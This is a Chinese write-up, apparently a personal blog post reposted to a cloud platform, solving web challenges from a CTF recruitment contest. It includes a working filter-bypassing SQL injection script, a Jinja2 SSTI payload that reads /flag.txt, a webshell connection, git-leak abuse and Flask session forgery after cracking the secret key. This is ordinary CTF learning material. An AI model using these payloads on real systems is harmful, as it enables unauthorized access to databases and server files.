前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Lilac纳新赛web部分题目wp - wuuconix's blog

Lilac纳新赛web部分题目wp - wuuconix's blog

作者头像
wuuconix
发布2023-03-13 17:22:04
3400
发布2023-03-13 17:22:04
举报
文章被收录于专栏:wuuconix

跑马场

该题界面贼炫酷。各种光点聚合起来形成文字。再分开重新组成下一个句子。

界面
界面

有用的信息就是有一个马ma.php。访问后得到密码。

马的密码
马的密码

蚁剑连接即可。

flag.txt
flag.txt

本题源码

代码语言:javascript
复制
<!doctype html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
    <style>
        body {
            padding: 0;
            margin: 0;
            overflow: hidden;
        }

        #cas {
            display: block;
            margin: auto;
        }
    </style>
    <title>跑马场</title>
</head>
<body>
<div>
    <canvas id='cas' width="1200" height="800" style="background-color:#262929">您那破烂浏览器不支持 Canvas,换个现代浏览器吧。</canvas>
</div>
<div style="display:none">
    <div class="ele">好消息,好消息</div>
    <div class="ele">贵站已被日,勿念</div>
    <div class="ele">俺是大嘿客</div>
    <div class="ele">俺还留了个马</div>
    <div class="ele">ma.php</div>
    <div class="ele">马照跑,舞照跳</div>
</div>

<script>
    (function(){
        var dr;
        var canvas = document.getElementById("cas"),
            ele = document.querySelectorAll(".ele"),
            context = canvas.getContext('2d');

        var focallength = 250,index = 0;
        var img = new Image();
        var pause = false;
        var dots = [];

        canvas.width = window.innerWidth;
        canvas.height = window.innerHeight;

        var RAF = (function() {
            return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) {
                        return window.setTimeout(callback, 1000 / 60);
                    };
        })();

        var Dot = function (centerX, centerY, centerZ, radius, color) {
            this.dx = centerX;
            this.dy = centerY;
            this.dz = centerZ;
            this.tx = 0;
            this.ty = 0;
            this.tz = 0;
            this.z = centerZ;
            this.x = centerX;
            this.y = centerY;
            this.radius = radius;
            this.color = color;
        };

        Dot.prototype = {
            paint: function () {
                context.save();
                var scale = (this.z + focallength) / (2 * focallength);
                context.fillStyle = "rgba(" + this.color.a + "," + this.color.b + "," + this.color.c + "," + scale + ")";
                context.fillRect(canvas.width / 2 + (this.x - canvas.width / 2) * scale, canvas.height / 2 + (this.y - canvas.height / 2) * scale, this.radius * scale*2 , this.radius * scale*2)
                context.restore();
            }
        };

        Array.prototype.forEach = function (callback) {
            for (var i = 0; i < this.length; i++) {
                callback.call(this[i]);
            }
        }

        eachEle();

        function eachEle() {
            dr = 3;
            if (ele[index].getAttribute('data-dr') !== null) {
                dr = parseInt(ele[index].getAttribute('data-dr'))
            }
            context.clearRect(0, 0, canvas.width, canvas.height);
            if (ele[index].innerHTML.indexOf("img") >= 0) {
                img.src = ele[index].getElementsByTagName("img")[0].src;
                imgload(img, function () {
                    context.drawImage(img, canvas.width / 2 - img.width / 2, canvas.height / 2 - img.height / 2);
                    dots = getimgData();
                    initAnimate();
                })
            }
            else {
                var text = ele[index].innerHTML;
                for (var i = 0; i < text.length; i++) {
                    context.save();
                    var fontSize = Math.random() * 100 + 100;
                    context.font = fontSize + "px bold";
                    context.textAlign = "center";
                    context.textBaseline = "middle";
                    var code = text.charAt(i);
                    context.fillStyle = "rgba(" + parseInt(Math.random() * 125 + 130) + "," + parseInt(Math.random() * 125 + 130) + "," + parseInt(Math.random() * 125 + 130) + " , 1)";
                    context.fillText(code, canvas.width / 2 - ((text.length / 2 - i) * 150), canvas.height / 2);
                    context.restore();
                }
                dots = getimgData();
                initAnimate();
            }
            index < (ele.length - 1) ? index++ : index = 0;
        }

        function imgload(img, callback) {
            if (img.complete) {
                callback.call(img);
            }
            else {
                img.onload = function () {
                    callback.call(this);
                }
            }
        }

        var lastTime;

        function initAnimate() {
            dots.forEach(function () {
                this.x = getRandom(0, canvas.width);
                this.y = getRandom(0, canvas.height);
                this.z = getRandom(-focallength, focallength);

                this.tx = getRandom(0, canvas.width);
                this.ty = getRandom(0, canvas.height);
                this.tz = getRandom(-focallength, focallength);
            });
            dots.sort(function (a, b) {
                return b.z - a.z;
            });
            dots.forEach(function () {
                this.paint();
            });
            lastTime = new Date();
            animate();
        }

        var derection = true;

        function animate() {
            animateRunning = true;
            var thisTime = +new Date();
            context.save();
            context.globalCompositeOperation = 'destination-out';
            context.globalAlpha = 0.1;
            context.fillRect(0, 0, canvas.width, canvas.height);
            context.restore();

            var sulv = 0.1;
            dots.forEach(function () {
                var dot = this;
                if (derection) {
                    if (Math.abs(dot.dx - dot.x) < 0.1 && Math.abs(dot.dy - dot.y) < 0.1 && Math.abs(dot.dz - dot.z) < 0.1) {
                        dot.x = dot.dx;
                        dot.y = dot.dy;
                        dot.z = dot.dz;
                        if (thisTime - lastTime > 300) derection = false;
                    } else {
                        dot.x = dot.x + (dot.dx - dot.x) * sulv;
                        dot.y = dot.y + (dot.dy - dot.y) * sulv;
                        dot.z = dot.z + (dot.dz - dot.z) * sulv;
                        lastTime = +new Date()
                    }
                }
                else {
                    if (Math.abs(dot.tx - dot.x) < 0.1 && Math.abs(dot.ty - dot.y) < 0.1 && Math.abs(dot.tz - dot.z) < 0.1) {
                        dot.x = dot.tx;
                        dot.y = dot.ty;
                        dot.z = dot.tz;
                        pause = true;
                    } else {
                        dot.x = dot.x + (dot.tx - dot.x) * sulv;
                        dot.y = dot.y + (dot.ty - dot.y) * sulv;
                        dot.z = dot.z + (dot.tz - dot.z) * sulv;
                        pause = false;
                    }
                }
            });
            dots.sort(function (a, b) {
                return b.z - a.z;
            });
            dots.forEach(function () {
                this.paint();
            });

            if (!pause){
                RAF(animate)
            }else {
                context.clearRect(0, 0, canvas.width, canvas.height);
                eachEle();
                derection = true;
                pause = false;
            }
        }

        function getRandom(a, b) {
            return Math.random() * (b - a) + a
        }

        function getimgData() {
            var imgData = context.getImageData(0, 0, canvas.width, canvas.height);
            context.clearRect(0, 0, canvas.width, canvas.height);
            var dots = [];
            var canbreak = false;
            for (var x = 0; x < imgData.width; x += dr) {
                for (var y = 0; y < imgData.height; y += dr) {
                    var i = (y * imgData.width + x) * 4;
                    if (imgData.data[i + 3] > 128) {
                        var dot = new Dot(x - dr, y - dr, 0, dr, {
                            a: imgData.data[i],
                            b: imgData.data[i + 1],
                            c: imgData.data[i + 2]
                        });
                        dots.push(dot);
                    }
                }
            }
            console.log(dots.length)
            return dots;
        }
    }())
</script>

</body>
</html>

以后也能用这么炫酷的特效了哈哈。

赛博音乐会

题目
题目

题目界面同样十分精美,查看源代码后发现图片的链接用的是一个php文件。

img
img

把后面的链接直接改成flag.txt即可获得flag。

ctf
ctf

消失的源码

dirsearch发现.git文件泄露。

dirsearch
dirsearch

利用GitHack脚本即可获得网站源代码。

githack
githack

源码中没有flag,考虑flag在git以前的版本中,利用git log查看历史版本。

git log
git log

利用git reset -a comit-id回到之前的版本。

git reset
git reset

获得提示图片。

chat
chat

我们了解到flag在目录下oh_my_flag_****.png的图片中,直接用Burp爆破即可。

7352
7352

图书馆

一道常规的sql注入题目,过滤了空格和一些关键字,空格可以用/**/绕过,关键字可以大写绕过。

以下是自己写的fuzz脚本。

代码语言:javascript
复制
import requests
from urllib.parse import quote

with open("dict.txt", "r") as f:
    while (1):
        id = f.readline().strip('\n')
        if id:
            burp0_url = f"http://node1.web.tryout.hitctf.cn:20081/read.php?id={quote(id)}"
            burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
            response = requests.get(burp0_url, headers=burp0_headers).text
            if ("自首" in response):
                print(f"{id}  no")
            else:
                print(f"{id}  ok")
        else:
            break

fuzz result
fuzz result

以下为payload脚本

代码语言:javascript
复制
import requests
from urllib.parse import quote
from bs4 import BeautifulSoup

id = "1 order by 3".replace(" ", "/**/") #3无结果,说明主select有两个变量
id = "-1 Union Select 1, database()".replace(" ", "/**/") #得到数据库为lilac
id = "-1 Union Select 1, Group_concat(table_name) From information_schema.tables Where table_schema = 'lilac'".replace(" ", "/**/") #得到表here_is_flag_37bdcb5cca88
id = "-1 Union Select 1, Group_concat(column_name) From information_schema.columns Where table_name = 'here_is_flag_37bdcb5cca88'".replace(" ", "/**/") #得到十个字段col_1到col_10
for i in range(1, 11): #爆破十个字段
    id = f"-1 Union Select 1, col_{i} From here_is_flag_37bdcb5cca88".replace(" ", "/**/")
    burp0_url = f"http://node1.web.tryout.hitctf.cn:20081/read.php?id={quote(id)}"
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    response = requests.get(burp0_url, headers=burp0_headers).text
    if ("flag" in response):
        soup = BeautifulSoup(response, "html.parser")
        print(f"col_{i} success")
        print(soup.div)
    else:
        print(f"col_{i} failed")

ctf
ctf

统一身份认证

题目给了一堆Hint233,几乎就是要把答案给你了,考点就是python flask jinja2 的 ssti。回显藏得比较深,但是题目给了提示,在title标签中。

title ssti
title ssti

试了一下网上的payload,发现很多多会返回500状态码,后来意识到是引号被过滤了,用request请求加参数的方式绕过。

以下为payload脚本。

代码语言:javascript
复制
import requests
from urllib.parse import quote
from bs4 import BeautifulSoup

# payload = "{{1 * 100}}"
payload = "{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}"
dict = {'arg1': 'open', 'arg2': '/flag.txt'}
burp0_url = f"http://node1.web.tryout.hitctf.cn:20021/{quote(payload)}"
response = requests.get(burp0_url, params=dict).text
soup = BeautifulSoup(response, "html.parser")
print(soup.title)

ctf
ctf

Cookie

先随便用一个账号密码进去。

页面提示
页面提示
cookie
cookie

发现Cookie中有username字段,改为admin即可获得flag。

ctf
ctf

Unsign

和上一题几乎是同样的题目,只不过抓包后Cookie中没有username字段了,只有一个session。

session
session

看session的样式感觉应该是 flask 的 session。利用noraj/flask-session-cookie-manager 即可获得session解密后的内容。

解密
解密

我们可以看到session解密后里面有username字段,看来需要我们伪造session了。

但是session是需要有签名的,也就是需要一个SECRET_KEY。但是这道题里没有给。

这时候其实题目已经提示我们了,我们需要unsign,即根据session来猜测签名。在 github上找到同名脚本 Paradoxis/Flask-Unsign)

get key
get key

成功得到secret keypassword,于是我们再用之前的脚本加密一下即可获得payload。

-s 'password'
-s 'password'

发送后成功得到flag。

ctf
ctf

战术总结

本部的题目质量都好高啊,特别是阮学长出的题,界面十分美观。

但是还是太菜2333,Basic题有4道做不出来了,Advanced题更是看一眼就感觉不会了哈哈。

题们
题们
Scoreboard
Scoreboard
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021年9月12日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 跑马场
  • 赛博音乐会
  • 消失的源码
  • 图书馆
  • 统一身份认证
  • Cookie
  • Unsign
  • 战术总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档